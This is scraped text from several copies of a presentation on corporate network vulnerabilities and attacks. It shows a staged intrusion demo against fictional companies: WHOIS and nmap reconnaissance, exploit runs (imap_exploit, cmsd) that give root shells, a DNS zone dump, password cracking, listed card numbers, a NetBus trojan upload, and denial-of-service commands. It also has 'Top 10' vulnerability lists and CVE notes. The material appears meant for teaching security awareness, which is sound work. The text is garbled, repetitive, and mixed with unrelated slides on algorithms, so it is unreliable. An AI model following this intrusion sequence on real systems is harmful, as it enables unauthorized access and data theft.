title: Презентация на тему: Типовая корпоративная сеть, понятие уязвимости и атаки - 4

text:
Top 10
Linux Buffer Overflows
Wu-ftp BO
IMAP BO
Qpopper BO
Overwrite stack
Common script kiddie exploits
Poor coding standards
Top 10
BIND qinv
Compile flag turned on by default, activated buffer-overflow, client request to server, script kiddie
BIND nxt
Server to server response, buffer handling overflowable, more advanced
Exposure outside firewall
In.Named binary
RPC (Remote Procedure Calls)
rpc.cmsd (sun-rpc.cmsd)
rpc-statd (sun-rpc-statd)
Sadmin (sol-sadmind-amslverify-bo)
Amd (amd-bo)
Mountd (linux-mountd-bo)
Major script kiddie fodder
Helped Enabled DDOS
File Sharing
E-business Web Applications
Top 10
Open Databases
Oracle default account passwords
Oracle setuid root oratclsh
SQL Server Xp_sprintf buffer overflow
SQL Server Xp_cmdshell extended
IIS (Microsoft Internet Information Server)
Trinity
TFN
TFN2k
Trin00
Stacheldraht
FunTime
Windows platform (W9x/2K/NT)
Preprogrammed for specific time and target
All are distributed for maximum effect
Click to edit Master title style
Click to edit Master text styles
Second level
Third level
Fourth level
Fifth level
Draft - 2.05.98
TCP/IP
NetBEUI
IPX/SPX
bigwidget.com
 Record last updated on 29-Jun-98.
   Record created on 30-Jun-94.
   Database last updated on 13-Oct-98 06:21:01 EDT.

 Domain servers in listed order:
   EHECATL. BIGWIDGET         208.21.0.7
   NS1.SPRINTLINK.NET           204.117.214.10
   NS.COMMANDCORP.COM    130.205.70.10

Registrant:
  BigWidget, Conglomerated. (BWC2-DOM)
    1234 Main Street
    Anytown, GA USA

 Domain Name: bigwidget.com
   Administrative Contact, Technical Contact, Zone Contact:
   BigWidget Admin  (IA338-ORG)  bwc-dnsadmin@bigwidget.com
        Phone- 678-555-1212
        Fax- 678-555-1211

   Billing Contact:
     BigWidget Billing  (IB158-ORG)  BigWidget-billing@bigwidget.com
        Phone- 678-555-1212
        Fax- 678-555-1211
BIGWIDGET.COM
[hacker@linux131 hacker]$ nmap 200.0.0.143

Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on  (200.0.0.143):
(The 1516 ports scanned but not shown below are in state: closed)
Port       State       Service
21/tcp      open         ftp
25/tcp      open         smtp
80/tcp      open         http
135/tcp    open         loc-srv
139/tcp    open         netbios-ssn
443/tcp    open         https
465/tcp    open         smtps

Nmap run completed -- 1 IP address (1 host up) scanned in 1 second
[hacker@linux131 hacker]$
~$ telnet bigwidget.com 25
Trying 10.0.0.28...
Connected to bigwidget.com
Escape character is '^]'.
hacker:
hacker:~$
Connection closed by foreign host.
telnet bigwidget.com 143
Trying 10.0.0.28...
Connected to bigwidget.com.
* OK bigwidget IMAP4rev1 Service 9.0(157) at Wed, 14 Oct 1998 11:51:50 -0400 (EDT)
(Report problems in this server to MRC@CAC.Washington.EDU)
. logout
* BYE bigwidget IMAP4rev1 server terminating connection
. OK LOGOUT completed
Connection closed by foreign host.
imap
imap
hacker ~$
./imap_exploit bigwidget.com
IMAP Exploit for Linux.
Author: Akylonius (aky@galeb.etf.bg.ac.yu)
Modifications: p1 (p1@el8.org)
Completed successfully.
hacker ~$
telnet bigwidget.com
Trying 10.0.0.28...
Connected to bigwidget.com.
Red Hat Linux release 4.2 (Biltmore)
Kernel 2.0.35 on an i686
root
bigwidget:~#
whoami
root
bigwidget:~#
cat ./hosts
127.0.0.1     localhost      localhost.localdomain
208.21.2.10   thevault       accounting
208.21.2.11   fasttalk       sales
208.21.2.12   geekspeak      engineering
208.21.2.13   people         human resources
208.21.2.14   thelinks       marketing
208.21.2.15   thesource      information systems
bigwidget:~#
cd /etc
bigwidget:~#
rlogin thevault
login:
Allan B. Smith   6543-2223-1209-4002 12/99
Donna D. Smith   6543-4133-0632-4572 06/98
Jim Smith        6543-2344-1523-5522 01/01
Joseph L.Smith   6543-2356-1882-7532 04/02
Kay L. Smith     6543-2398-1972-4532 06/03
Mary Ann Smith   6543-8933-1332-4222 05/01
Robert F. Smith  6543-0133-5232-3332 05/99
thevault:~#
cat visa.txt
cd /data/creditcards
thevault:~#
thevault:~#
crack /etc/passwd
Cracking /etc/passwd...
username: bobman  password: nambob
username: mary    password: mary
username: root    password: ncc1701
thevault:~#
ftp thesource
Connected to thesource
220 thesource Microsoft FTP Service (Version 4.0).
Name:
administrator
331 Password required for administrator.
Password:
*******
230 User administrator logged in.
Remote system type is Windows_NT.
ftp>
cd 	emp
250 CDW command successful.
ftp>
send netbus.exe
local: netbus.exe remote: netbus.exe
200 PORT command successful.
150 Opening BINARY mode data connection for netbus.exe
226 Transfer complete.
ftp>
ftp>
quit
thevault:~$
telnet thesource
Trying 208.21.2.160.
.. Connected to thesource.bigwidget.com.
Escape character is '^]'.
Microsoft (R) Windows NT (TM) Version 4.00 (Build 1381)
Welcome to MS Telnet Service
Telnet Server Build 5.00.98217.1
login:
administrator
password:
*******
*===============================================================
Welcome to Microsoft Telnet Server.
*===============================================================
C:\>
cd 	emp
C:\TEMP>
netbus.exe
Connected to the.source.bigwidget.com
NetBus  1.6, by cf
Screendump
David Smith < dsmith@bigwidget.com >
President@bigwidget.com
My Raise < URGENT >
Dear Mr. Smith
I would like to thank you for the huge raise that you have seen fit to give me. With my new salary of $350,000.00 a year I am sure I am the highest paid mail clerk in the company. This really makes me feel good because I deserve it.

Your Son,

Dave
David Smith
Router
NT
UNIX
NT
UNIX
imap
Crack PSW
NetBus
Crack Web

www.securityfocus.com
www.iss.net/xforce
http://cve.mitre.org/cve
http://cve.mitre.org/cve
CAN-1999-0067
CVE-1999-0067
ISS RealSecure
CERT Advisory
Cisco Database
Axent NetRecon
land attack (spoofed SYN)
Impossible IP Packet
Bugtrag
CA-97.28.Teardrop_Land
Land
NT4-SP3and 95 [latierra.c]
CVE-1999-0016 Land IP denial of service
CVE
CERT Advisory
Bugtrag
ISS RealSecure
Cisco Database
Axent NetRecon
CVE entry
CVE-1999-0005

Arbitrary command execution via IMAP
buffer overflow in authenticate command.

Reference: CERT:CA-98.09.imapd
Reference: SUN:00177
Reference: BID:130
Reference: XF:imap-authenticate-bo
BUGTRAQ Vulnerability Database Statistics
BUGTRAQ Vulnerability Database Statistics
Microsoft Windows NT 4.0 					34 Microsoft Windows NT 2000 					21RedHat Linux 6.2 i386 						13 RedHat Linux 6.1 i386 						13 Microsoft Windows 98 					13 Microsoft Windows 95 					12 Microsoft IIS 4.0 						12 Microsoft BackOffice 4.5 					12 Microsoft BackOffice 4.0 					12 RedHat Linux 6.0 i386 						10 RedHat Linux 6.1 sparc 					9 RedHat Linux 6.1 alpha 					9 Microsoft IIS 5.0 						8 RedHat Linux 6.2 sparc 					7 RedHat Linux 6.2 alpha 					7 Microsoft Internet Explorer 5.0 for Windows NT 4.0		7 Microsoft Internet Explorer 5.0 for Windows 98		7 Microsoft Internet Explorer 5.0 for Windows 95		7 TurboLinux Turbo Linux 6.0.2 					6 TurboLinux Turbo Linux 4.4					6
10.	Linux Buffer Overflows
  2.	Weak Accounts
  3.	IIS (Microsoft Internet Information Server)
  4.	Open Databases
  5.	E-Business Web Applications
  6.	Open Sendmail
  7.	File Sharing
  8.	RPC
  9.	Bind
   1.	Denial of Service Exploits
  2.	Weak Accounts
  3.	IIS (Microsoft Internet Information Server)
  4.	Open Databases
  5.	E-Business Web Applications
  6.	Open Sendmail
  7.	File Sharing
  8.	RPC
   1.	Denial of Service Exploits
10.	Linux Buffer Overflows
  9.	Bind
  2.	Weak Accounts
  3.	IIS (Microsoft Internet Information Server)
  4.	Open Databases
  5.	E-Business Web Applications
  6.	Open Sendmail
  7.	File Sharing
   1.	Denial of Service Exploits
  9.	Bind
10.	Linux Buffer Overflows
  8.	RPC (Remote Procedure Calls)
Top 10
  8.	RPC
  9.	Bind
10.	Linux Buffer Overflows
  7.	File Sharing
  2.	Weak Accounts
  3.	IIS (Microsoft Internet Information Server)
  4.	Open Databases
  5.	E-Business Web Applications
  6.	Open Sendmail
   1.	Denial of Service Exploits
Top 10
  2.	Weak Accounts
  3.	IIS (Microsoft Internet Information Server)
  4.	Open Databases
  5.	E-Business Web Applications
   1.	Denial of Service Exploits
  7.	File Sharing
  8.	RPC
  9.	Bind
10.	Linux Buffer Overflows
Top 10
  2.	Weak Accounts
  3.	IIS (Microsoft Internet Information Server)
  4.	Open Databases
   1.	Denial of Service Exploits
  6.	Open E-mail
  7.	File Sharing
  8.	RPC
  9.	Bind
10.	Linux Buffer Overflows
  5.	E-Business Web Applications
Top 10

  2.	Weak Accounts
  3.	IIS (Microsoft Internet Information Server)
   1.	Denial of Service Exploits
  5.	E-Business Web Applications
  6.	Open E-mail
  7.	File Sharing
  8.	RPC
  9.	Bind
10.	Linux Buffer Overflows
  4.	Open Databases
  4.	Open Databases
  5.	E-Business Web Applications
  6.	Open E-mail
  7.	File Sharing
  8.	RPC
  9.	Bind
10.	Linux Buffer Overflows
  3.	IIS (Microsoft Internet Information Server)
  2.	Weak Accounts
   1.	Denial of Service Exploits
Top 10
  3.	IIS (Microsoft Internet Information Server)
  4.	Open Databases
  5.	E-Business Web Applications
  6.	Open E-mail
  7.	File Sharing
  8.	RPC
  9.	Bind
10.	Linux Buffer Overflows
   1.	Denial of Service Exploits
Top 10
  2.	Weak Accounts
  3.	IIS (Microsoft Internet Information Server)
  4.	Open Databases
  5.	E-Business Web Applications
  6.	Open E-mail
  7.	File Sharing
  8.	RPC
  9.	Bind
10.	Linux Buffer Overflows
  1.	Denial of Service Exploits
Top 10
  1.	Denial of Service Exploits
  2.	Weak Accounts
  3.	IIS (Microsoft Internet Information Server)
  4.	Open Databases
  5.	E-Business Web Applications
  6.	Open E-mail
  7.	File Sharing
  8.	RPC
  9.	Bind
10.	Linux Buffer Overflows
Top 10
The accounting server is a Unix box and our hacker heads back out to the web and runs and exploit against the Unix box. Once again he gains root access.

With root access he is able to search any file on the accounting server and begins with a file full of visa credit card information.

Not yet finished with a evening of successful hacking our hacker heads over to the IS machines an NT box.
Internal web site within Big Widget
BIND
Name server, almost anyone you (know) has a network with a bunch of hosts, typically has a server, if you have older versions of that you are vulnerable.
Name servers usually reside outside the firewall so are more vulnerable to outside attacks
RPC = remote procedure calls
RPC are APIs for client / server applications
Cmsd - calendar manager daemon #1 rpc exploit 1999
Statd - stat daemon (file sharing) most popular overflow in 2000
Sadmin - Solaris system daemon
Amd - auto mount daemon (nfs) all unix
Mountd - mount daemon (mount file systems) all unix (linux particularly bad)
Public - any script kiddie can use them
ALL DDOS zombies (agents) because of rpc overflows

Over DSL easier to hack because hacker does not have to wait as long ( as opposed to dial up)

++ allows anybody to access files from anywhere inside an rhosts files
Sendmail pipe - sendmail setup insecurely can execute UNIX commands for you excutes during parse of email
Mime  buffer flow - standeard multimedia encoding for mail messages
Sendmail allows an attacker to acquire root
Sendmail = 20 years old very complex - same thing morris worm used 1988

Specific attacks to compromise a system.
Attack on the sendmail system

Interscanner and real secure will detect
5. e-business web applications
People building more and more applications
The apps themselves have a lot of security flaws
A lot of vulnerability in shopping carts
Some of the tools to build an e-business web application
On netscape enterprise server (NES)  - port 80 even if the firewall webserver
If you are running a webserver your firewall is allowing traffic on port 80

Path info = information gathering attack (about 20 vulnmerabilities)

4. Applications
Any e-bus app is going to have a database, a lot of security issues
Pretty easy to go to e-business sites and pull down credit cards and sensitive information
If they are vulnerable it is easy to crash them
Underneath all these you have the web server itself
Huge percentage of machines still vulnerable
Doesn't matter how secure the app or database is if the iis server is not protected
90% of all iis servers vulnerable
Server Xp_cmdshell = allows db users to run commands on the operating system (as owner of database - typically high degree of user)

3. Passwords
From old days to today, passwords very weak link in security paradigm in trying to lock down systems
Default accounts, no passwords protection of routers, etc.


title: Презентация на тему: Типовая корпоративная сеть, понятие уязвимости и атаки

text:
Top 10
Top 10
Linux Buffer Overflows
Wu-ftp BO
IMAP BO
Qpopper BO
Overwrite stack
Common script kiddie exploits
Poor coding standards
Top 10
BIND qinv
Compile flag turned on by default, activated buffer-overflow, client request to server, script kiddie
BIND nxt
Server to server response, buffer handling overflowable, more advanced
RPC (Remote Procedure Calls)
rpc.cmsd (sun-rpc.cmsd)
rpc-statd (sun-rpc-statd)
Sadmin (sol-sadmind-amslverify-bo)
Amd (amd-bo)
Mountd (linux-mountd-bo)
File Sharing
E-business Web Applications
Top 10
IIS (Microsoft Internet Information Server)
Click to edit Master title style
Click to edit Master text styles
Second level
Third level
Fourth level
Fifth level
Draft - 2.05.98
DMZ-2
DMZ-1
TCP/IP
NetBEUI
IPX/SPX
WHOIS Search
ACMETRADE.COM
Registrant:
Acmetrade.com, Inc. (ACMETRADE-DOM)
    6600 Peachtree Dunwoody Road
    Atlanta, GA 30338

    Domain Name: ACMETRADE.COM

    Administrative Contact:
        Vaughn, Danon (ES2394) dvaughn@ACMETRADE.COM
        (678)443-6000 (FAX) (678) 443-6476
    Technical Contact, Zone Contact:
        Bergman, Bret (ET2324) bbergman@ACMETRADE.COM
        (678)443-6100 (FAX) (678) 443-6208
    Billing Contact:
        Fields, Hope  (ET3427) hfields@ACMETRADE.COM
        (678)443-6101 (FAX) (678) 443-6401

    Record Last updated on 27-Jul-99.
    Record created on 06-Mar-98.
    Database last updated on 4-Oct-99 09:09:01 EDT

    Domain servers in listed order:

    dns.acmetrade.com	208.21.2.67
    www.acmetrade.com	208.21.2.10
    www1.acmetrade.com	208.21.2.12
    www2.acmetrade.com	208.21.2.103
http://www.networksolutions.com/cgi-bin/whois/whois/?STRING=acmetrade.com
[hacker@linux131 hacker]$ nmap 200.0.0.143

Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on  (200.0.0.143):
(The 1516 ports scanned but not shown below are in state: closed)
Port       State       Service
21/tcp      open         ftp
25/tcp      open         smtp
80/tcp      open         http
135/tcp    open         loc-srv
139/tcp    open         netbios-ssn
443/tcp    open         https
465/tcp    open         smtps

Nmap run completed -- 1 IP address (1 host up) scanned in 1 second
[hacker@linux131 hacker]$
hacker:/export/home/hacker>
./rpcscan dns.acmetrade.com cmsd
Scanning dns.acmetrade.com for program 100068
cmsd is on port 33505
hacker:/export/home/hacker>
hacker:/export/home/hacker>
id
uid=1002(hacker) gid=10(staff)
hacker:/export/home/hacker>
uname -a
SunOS evil.hacker.com 5.6 Generic_105181-05 sun4u sparc SUNW,UltraSPARC-IIi-Engine
hacker:/export/home/hacker>
./cmsd dns.acmetrade.com
using source port 53
rtable_create worked
Exploit successful.  Portshell created on port 33505
hacker:/export/home/hacker>
Trying 208.21.2.67...
Connected to dns.acmetrade.com.
Escape character is '^]'.
#
id
uid=0(root) gid=0(root)
#
uname -a
SunOS dns 5.5.1 Generic_103640-24 sun4m sparc SUNW,SPARCstation-5
#
telnet dns.acmetrade.com 33505
#
#
nslookup
Default Server: dns.acmetrade.com
Address: 208.21.2.67
>
>
ls acmetrade.com
Received 15 records.
^D
[dns.acmetrade.com]
www.acmetrade.com			208.21.2.10
www1.acmetrade.com		208.21.2.12
www2.acmetrade.com		208.21.2.103
margin.acmetrade.com		208.21.4.10
marketorder.acmetrade.com		208.21.2.62
deriv.acmetrade.com		208.21.2.25
deriv1.acmetrade.com		208.21.2.13
bond.acmetrade.com		208.21.2.33
ibd.acmetrade.com			208.21.2.27
fideriv.acmetrade.com		208.21.4.42
backoffice.acmetrade.com		208.21.4.45
wiley.acmetrade.com		208.21.2.29
bugs.acmetrade.com		208.21.2.89
fw.acmetrade.com			208.21.2.94
fw1.acmetrade.com			208.21.2.21
UNIX
Firewall
DNS Server
Web Server
Filtering Router
NT
Clients & Workstations
Network
UNIX
NT
UNIX
rpc.cmsd

www.securityfocus.com
www.iss.net/xforce
http://cve.mitre.org/cve
http://cve.mitre.org/cve
CAN-1999-0067
CVE-1999-0067
ISS RealSecure
CERT Advisory
Cisco Database
Axent NetRecon
land attack (spoofed SYN)
Impossible IP Packet
Bugtrag
CA-97.28.Teardrop_Land
Land
NT4-SP3and 95 [latierra.c]
CVE-1999-0016 Land IP denial of service
CVE
CERT Advisory
Bugtrag
ISS RealSecure
Cisco Database
Axent NetRecon
CVE entry
CVE-1999-0005

Arbitrary command execution via IMAP
buffer overflow in authenticate command.

Reference: CERT:CA-98.09.imapd
Reference: SUN:00177
Reference: BID:130
Reference: XF:imap-authenticate-bo
  3.	IIS (Microsoft Internet Information Server)
  9.	Bind
10.	Linux Buffer Overflows
  2.	Weak Accounts
  3.	IIS (Microsoft Internet Information Server)
  4.	Open Databases
  5.	E-Business Web Applications
  6.	Open Sendmail
  7.	File Sharing
  8.	RPC
  9.	Bind
   1.	Denial of Service Exploits
  2.	Weak Accounts
  3.	IIS (Microsoft Internet Information Server)
  4.	Open Databases
  5.	E-Business Web Applications
  6.	Open Sendmail
  7.	File Sharing
  8.	RPC
   1.	Denial of Service Exploits
10.	Linux Buffer Overflows
  9.	Bind
  2.	Weak Accounts
  3.	IIS (Microsoft Internet Information Server)
  4.	Open Databases
  5.	E-Business Web Applications
  6.	Open Sendmail
  7.	File Sharing
   1.	Denial of Service Exploits
  9.	Bind
10.	Linux Buffer Overflows
  8.	RPC (Remote Procedure Calls)
Top 10
  8.	RPC
  9.	Bind
10.	Linux Buffer Overflows
  7.	File Sharing
  2.	Weak Accounts
  3.	IIS (Microsoft Internet Information Server)
  4.	Open Databases
  5.	E-Business Web Applications
  6.	Open Sendmail
   1.	Denial of Service Exploits
Top 10
  2.	Weak Accounts
  3.	IIS (Microsoft Internet Information Server)
  4.	Open Databases
  5.	E-Business Web Applications
   1.	Denial of Service Exploits
  7.	File Sharing
  8.	RPC
  9.	Bind
10.	Linux Buffer Overflows
Top 10
  2.	Weak Accounts
  3.	IIS (Microsoft Internet Information Server)
  4.	Open Databases
   1.	Denial of Service Exploits
  6.	Open E-mail
  7.	File Sharing
  8.	RPC
  9.	Bind
10.	Linux Buffer Overflows
  5.	E-Business Web Applications
Top 10

  2.	Weak Accounts
  3.	IIS (Microsoft Internet Information Server)
   1.	Denial of Service Exploits
  5.	E-Business Web Applications
  6.	Open E-mail
  7.	File Sharing
  8.	RPC
  9.	Bind
10.	Linux Buffer Overflows
  4.	Open Databases
  4.	Open Databases
  5.	E-Business Web Applications
  6.	Open E-mail
  7.	File Sharing
  8.	RPC
  9.	Bind
10.	Linux Buffer Overflows
  3.	IIS (Microsoft Internet Information Server)
  2.	Weak Accounts
   1.	Denial of Service Exploits
Top 10
  3.	IIS (Microsoft Internet Information Server)
  4.	Open Databases
  5.	E-Business Web Applications
  6.	Open E-mail
  7.	File Sharing
  8.	RPC
  9.	Bind
10.	Linux Buffer Overflows
   1.	Denial of Service Exploits
Top 10
  2.	Weak Accounts
  3.	IIS (Microsoft Internet Information Server)
  4.	Open Databases
  5.	E-Business Web Applications
  6.	Open E-mail
  7.	File Sharing
  8.	RPC
  9.	Bind
10.	Linux Buffer Overflows
  1.	Denial of Service Exploits
Top 10
  1.	Denial of Service Exploits
  2.	Weak Accounts
  3.	IIS (Microsoft Internet Information Server)
  4.	Open Databases
  5.	E-Business Web Applications
  6.	Open E-mail
  7.	File Sharing
  8.	RPC
  9.	Bind
10.	Linux Buffer Overflows
Top 10
BIND
Name server, almost anyone you (know) has a network with a bunch of hosts, typically has a server, if you have older versions of that you are vulnerable.
Name servers usually reside outside the firewall so are more vulnerable to outside attacks
RPC = remote procedure calls
RPC are APIs for client / server applications
Cmsd - calendar manager daemon #1 rpc exploit 1999
Statd - stat daemon (file sharing) most popular overflow in 2000
Sadmin - Solaris system daemon
Amd - auto mount daemon (nfs) all unix
Mountd - mount daemon (mount file systems) all unix (linux particularly bad)
Public - any script kiddie can use them
ALL DDOS zombies (agents) because of rpc overflows

Over DSL easier to hack because hacker does not have to wait as long ( as opposed to dial up)

++ allows anybody to access files from anywhere inside an rhosts files
Sendmail pipe - sendmail setup insecurely can execute UNIX commands for you excutes during parse of email
Mime  buffer flow - standeard multimedia encoding for mail messages
Sendmail allows an attacker to acquire root
Sendmail = 20 years old very complex - same thing morris worm used 1988

Specific attacks to compromise a system.
Attack on the sendmail system

Interscanner and real secure will detect
5. e-business web applications
People building more and more applications
The apps themselves have a lot of security flaws
A lot of vulnerability in shopping carts
Some of the tools to build an e-business web application
On netscape enterprise server (NES)  - port 80 even if the firewall webserver
If you are running a webserver your firewall is allowing traffic on port 80

Path info = information gathering attack (about 20 vulnmerabilities)

4. Applications
Any e-bus app is going to have a database, a lot of security issues
Pretty easy to go to e-business sites and pull down credit cards and sensitive information
If they are vulnerable it is easy to crash them
Underneath all these you have the web server itself
Huge percentage of machines still vulnerable
Doesn't matter how secure the app or database is if the iis server is not protected
90% of all iis servers vulnerable
Server Xp_cmdshell = allows db users to run commands on the operating system (as owner of database - typically high degree of user)

3. Passwords
From old days to today, passwords very weak link in security paradigm in trying to lock down systems
Default accounts, no passwords protection of routers, etc.
The hacker begins with only a target.  At this point the hacker has little or no information about the target host.
Typically, the first thing the hacker will do is use a internet domain name registrar to gather some publicly available info about the target host and its associated network(s).
Here, the hacker enters the name of the target and submits it.


title: Презентация на тему: Типовая корпоративная сеть, понятие уязвимости и атаки - 1

text:
Click to edit Master title style
Click to edit Master text styles
Second level
Third level
Fourth level
Fifth level
Draft - 2.05.98
DMZ-2
DMZ-1
TCP/IP
NetBEUI
IPX/SPX
WHOIS Search
ACMETRADE.COM
Registrant:
Acmetrade.com, Inc. (ACMETRADE-DOM)
    6600 Peachtree Dunwoody Road
    Atlanta, GA 30338

    Domain Name: ACMETRADE.COM

    Administrative Contact:
        Vaughn, Danon (ES2394) dvaughn@ACMETRADE.COM
        (678)443-6000 (FAX) (678) 443-6476
    Technical Contact, Zone Contact:
        Bergman, Bret (ET2324) bbergman@ACMETRADE.COM
        (678)443-6100 (FAX) (678) 443-6208
    Billing Contact:
        Fields, Hope  (ET3427) hfields@ACMETRADE.COM
        (678)443-6101 (FAX) (678) 443-6401

    Record Last updated on 27-Jul-99.
    Record created on 06-Mar-98.
    Database last updated on 4-Oct-99 09:09:01 EDT

    Domain servers in listed order:

    dns.acmetrade.com	208.21.2.67
    www.acmetrade.com	208.21.2.10
    www1.acmetrade.com	208.21.2.12
    www2.acmetrade.com	208.21.2.103
http://www.networksolutions.com/cgi-bin/whois/whois/?STRING=acmetrade.com
[hacker@linux131 hacker]$ nmap 200.0.0.143

Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on  (200.0.0.143):
(The 1516 ports scanned but not shown below are in state: closed)
Port       State       Service
21/tcp      open         ftp
25/tcp      open         smtp
80/tcp      open         http
135/tcp    open         loc-srv
139/tcp    open         netbios-ssn
443/tcp    open         https
465/tcp    open         smtps

Nmap run completed -- 1 IP address (1 host up) scanned in 1 second
[hacker@linux131 hacker]$
hacker:/export/home/hacker>
./rpcscan dns.acmetrade.com cmsd
Scanning dns.acmetrade.com for program 100068
cmsd is on port 33505
hacker:/export/home/hacker>
hacker:/export/home/hacker>
id
uid=1002(hacker) gid=10(staff)
hacker:/export/home/hacker>
uname -a
SunOS evil.hacker.com 5.6 Generic_105181-05 sun4u sparc SUNW,UltraSPARC-IIi-Engine
hacker:/export/home/hacker>
./cmsd dns.acmetrade.com
using source port 53
rtable_create worked
Exploit successful.  Portshell created on port 33505
hacker:/export/home/hacker>
Trying 208.21.2.67...
Connected to dns.acmetrade.com.
Escape character is '^]'.
#
id
uid=0(root) gid=0(root)
#
uname -a
SunOS dns 5.5.1 Generic_103640-24 sun4m sparc SUNW,SPARCstation-5
#
telnet dns.acmetrade.com 33505
#
#
nslookup
Default Server: dns.acmetrade.com
Address: 208.21.2.67
>
>
ls acmetrade.com
Received 15 records.
^D
[dns.acmetrade.com]
www.acmetrade.com			208.21.2.10
www1.acmetrade.com		208.21.2.12
www2.acmetrade.com		208.21.2.103
margin.acmetrade.com		208.21.4.10
marketorder.acmetrade.com		208.21.2.62
deriv.acmetrade.com		208.21.2.25
deriv1.acmetrade.com		208.21.2.13
bond.acmetrade.com		208.21.2.33
ibd.acmetrade.com			208.21.2.27
fideriv.acmetrade.com		208.21.4.42
backoffice.acmetrade.com		208.21.4.45
wiley.acmetrade.com		208.21.2.29
bugs.acmetrade.com		208.21.2.89
fw.acmetrade.com			208.21.2.94
fw1.acmetrade.com			208.21.2.21
UNIX
Firewall
DNS Server
Web Server
Filtering Router
NT
Clients & Workstations
Network
UNIX
NT
UNIX
rpc.cmsd

www.securityfocus.com
www.iss.net/xforce
http://cve.mitre.org/cve
http://cve.mitre.org/cve
CAN-1999-0067
CVE-1999-0067
ISS RealSecure
CERT Advisory
Cisco Database
Axent NetRecon
land attack (spoofed SYN)
Impossible IP Packet
Bugtrag
CA-97.28.Teardrop_Land
Land
NT4-SP3and 95 [latierra.c]
CVE-1999-0016 Land IP denial of service
CVE
CERT Advisory
Bugtrag
ISS RealSecure
Cisco Database
Axent NetRecon
CVE entry
CVE-1999-0005

Arbitrary command execution via IMAP
buffer overflow in authenticate command.

Reference: CERT:CA-98.09.imapd
Reference: SUN:00177
Reference: BID:130
Reference: XF:imap-authenticate-bo
DMZ-2
DMZ-1
DMZ-2
DMZ-1
# nmap www.company.com
DMZ-2
DMZ-1
# ./neptun www.company.com
DMZ-2
DMZ-1
DMZ-2
DMZ-1
# nuke www.company.com
DMZ-2
DMZ-1
# exploit www.company.com
The hacker begins with only a target.  At this point the hacker has little or no information about the target host.
Typically, the first thing the hacker will do is use a internet domain name registrar to gather some publicly available info about the target host and its associated network(s).
Here, the hacker enters the name of the target and submits it.


title: Презентация на тему: Типы алгоритмов

text:
Y : = 8
Z : = Z + 12
S : = 0
S : = S + X


Презентация на тему: Типы алгоритмов


Презентация на тему: Типы данных. Простые типы данных


title: Презентация на тему: Типы алгоритмов: линейные и ветвление

text: a>b


title: Презентация на тему: Типовая корпоративная сеть, понятие уязвимости и атаки - 3

text:
Top 10
Linux Buffer Overflows
Wu-ftp BO
IMAP BO
Qpopper BO
Overwrite stack
Common script kiddie exploits
Poor coding standards
Top 10
BIND qinv
Compile flag turned on by default, activated buffer-overflow, client request to server, script kiddie
BIND nxt
Server to server response, buffer handling overflowable, more advanced
Exposure outside firewall
In.Named binary
RPC (Remote Procedure Calls)
rpc.cmsd (sun-rpc.cmsd)
rpc-statd (sun-rpc-statd)
Sadmin (sol-sadmind-amslverify-bo)
Amd (amd-bo)
Mountd (linux-mountd-bo)
Major script kiddie fodder
Helped Enabled DDOS
File Sharing
E-business Web Applications
Top 10
Open Databases
Oracle default account passwords
Oracle setuid root oratclsh
SQL Server Xp_sprintf buffer overflow
SQL Server Xp_cmdshell extended
IIS (Microsoft Internet Information Server)
Trinity
TFN
TFN2k
Trin00
Stacheldraht
FunTime
Windows platform (W9x/2K/NT)
Preprogrammed for specific time and target
All are distributed for maximum effect
Click to edit Master title style
Click to edit Master text styles
Second level
Third level
Fourth level
Fifth level
Draft - 2.05.98
TCP/IP
NetBEUI
IPX/SPX
WHOIS Search
ACMETRADE.COM
Registrant:
Acmetrade.com, Inc. (ACMETRADE-DOM)
    6600 Peachtree Dunwoody Road
    Atlanta, GA 30338

    Domain Name: ACMETRADE.COM

    Administrative Contact:
        Vaughn, Danon (ES2394) dvaughn@ACMETRADE.COM
        (678)443-6000 (FAX) (678) 443-6476
    Technical Contact, Zone Contact:
        Bergman, Bret (ET2324) bbergman@ACMETRADE.COM
        (678)443-6100 (FAX) (678) 443-6208
    Billing Contact:
        Fields, Hope  (ET3427) hfields@ACMETRADE.COM
        (678)443-6101 (FAX) (678) 443-6401

    Record Last updated on 27-Jul-99.
    Record created on 06-Mar-98.
    Database last updated on 4-Oct-99 09:09:01 EDT

    Domain servers in listed order:

    dns.acmetrade.com	208.21.2.67
    www.acmetrade.com	208.21.2.10
    www1.acmetrade.com	208.21.2.12
    www2.acmetrade.com	208.21.2.103
http://www.networksolutions.com/cgi-bin/whois/whois/?STRING=acmetrade.com
[hacker@linux131 hacker]$ nmap 200.0.0.143

Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on  (200.0.0.143):
(The 1516 ports scanned but not shown below are in state: closed)
Port       State       Service
21/tcp      open         ftp
25/tcp      open         smtp
80/tcp      open         http
135/tcp    open         loc-srv
139/tcp    open         netbios-ssn
443/tcp    open         https
465/tcp    open         smtps

Nmap run completed -- 1 IP address (1 host up) scanned in 1 second
[hacker@linux131 hacker]$
hacker:/export/home/hacker>
./rpcscan dns.acmetrade.com cmsd
Scanning dns.acmetrade.com for program 100068
cmsd is on port 33505
hacker:/export/home/hacker>
hacker:/export/home/hacker>
id
uid=1002(hacker) gid=10(staff)
hacker:/export/home/hacker>
uname -a
SunOS evil.hacker.com 5.6 Generic_105181-05 sun4u sparc SUNW,UltraSPARC-IIi-Engine
hacker:/export/home/hacker>
./cmsd dns.acmetrade.com
using source port 53
rtable_create worked
Exploit successful.  Portshell created on port 33505
hacker:/export/home/hacker>
Trying 208.21.2.67...
Connected to dns.acmetrade.com.
Escape character is '^]'.
#
id
uid=0(root) gid=0(root)
#
uname -a
SunOS dns 5.5.1 Generic_103640-24 sun4m sparc SUNW,SPARCstation-5
#
telnet dns.acmetrade.com 33505
#
#
nslookup
Default Server: dns.acmetrade.com
Address: 208.21.2.67
>
>
ls acmetrade.com
Received 15 records.
^D
[dns.acmetrade.com]
www.acmetrade.com			208.21.2.10
www1.acmetrade.com		208.21.2.12
www2.acmetrade.com		208.21.2.103
margin.acmetrade.com		208.21.4.10
marketorder.acmetrade.com		208.21.2.62
deriv.acmetrade.com		208.21.2.25
deriv1.acmetrade.com		208.21.2.13
bond.acmetrade.com		208.21.2.33
ibd.acmetrade.com			208.21.2.27
fideriv.acmetrade.com		208.21.4.42
backoffice.acmetrade.com		208.21.4.45
wiley.acmetrade.com		208.21.2.29
